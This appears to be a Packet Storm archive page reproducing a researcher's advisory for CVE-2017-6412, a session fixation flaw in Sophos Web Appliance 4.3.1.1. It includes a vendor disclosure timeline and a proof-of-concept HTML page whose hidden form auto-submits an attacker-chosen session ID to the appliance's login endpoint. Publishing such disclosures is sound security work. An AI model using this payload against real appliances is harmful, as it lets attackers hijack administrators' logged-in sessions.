exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sophos Web Appliance 4.3.1.1 Session Fixation

Sophos Web Appliance 4.3.1.1 Session Fixation
Posted May 17, 2017
Authored by SlidingWindow

Sophos Web Appliance version 4.3.1.1 suffers from a session fixation vulnerability.

tags | exploit, web
advisories | CVE-2017-6412
SHA-256 | 50104c16e61bf331cca13385710e48feaf4c03fa10d141d75f89fe85b2673a48

Sophos Web Appliance 4.3.1.1 Session Fixation

Change Mirror Download
# Exploit Title: [Sophos Secure Web Appliance Session Fixation Vulnerability]
# Date: [28/02/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.sophos.com/en-us/products/secure-web-gateway.aspx]
# Version: [Tested on Sophos Web Appliance version 4.3.1.1. Older versions may also be affected]
# Tested on: [Sophos Web Appliance version 4.3.1.1]
# CVE : [CVE-2017-6412]
# Vendor Security Bulletin: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html

==================
#Product:-
==================
Sophos Secure Web Appliance is a purpose-built secure web gateway appliance which makes web protection simple. It provides advanced protection from todayas sophisticated web malware with lightning performance that wonat slow users down. You get full control and instant insights over all web activity on your network.

==================
#Vulnerabilities:-
==================
Session Fixation Vulnerability

========================
#Vulnerability Details:-
========================

#1. Session Fixation Vulnerability (CVE-2017-6412)

A remote attacker could host a malicious page on his website that makes POST request to the victimas Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.

Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.

Note: An attacker would have to guess/know the IP address of the victim's device

Proof-of-Concept:

1.Visit the Sophos Login page to obtain pre-auth Session ID.

2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.

<html>
<body>
<form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
<input type="hidden" name="STYLE" value="Pre-Auth Session ID">
</form>

<script>
window.onload = function(){
document.forms['Sophos_Login'].submit()
}
</script>
</body>
</html>

3. Visit the above page another machine.

4. You will be redirected to the login page, however Session ID will be the same.

5. Log into the appliance and check the Session ID, it will be the same from #1.


====================================
#Vulnerability Disclosure Timeline:
====================================

28/02/2017: First email to disclose the vulnerability to the vendor
28/02/2017: Vendor requested a vulnerability report
28/02/2017: Report sent to vendor.
28/02/2017: Vendor validated the report and confirmed the vulnerability
01/03/2017: CVE MITRE assigned CVE-2017-6412 to this vulnerability
03/03/2017: Vendor confirms that the fix is ready and is in the process of testing.
09/03/2017: Vendor confirmed that the patch will be released on March 17 2017 and requested to hold off publishing the CVE until March 31 2017.
17/03/2017: Vendor released the patch: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
31/03/2017: Published CVE as agreed by vendor

Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close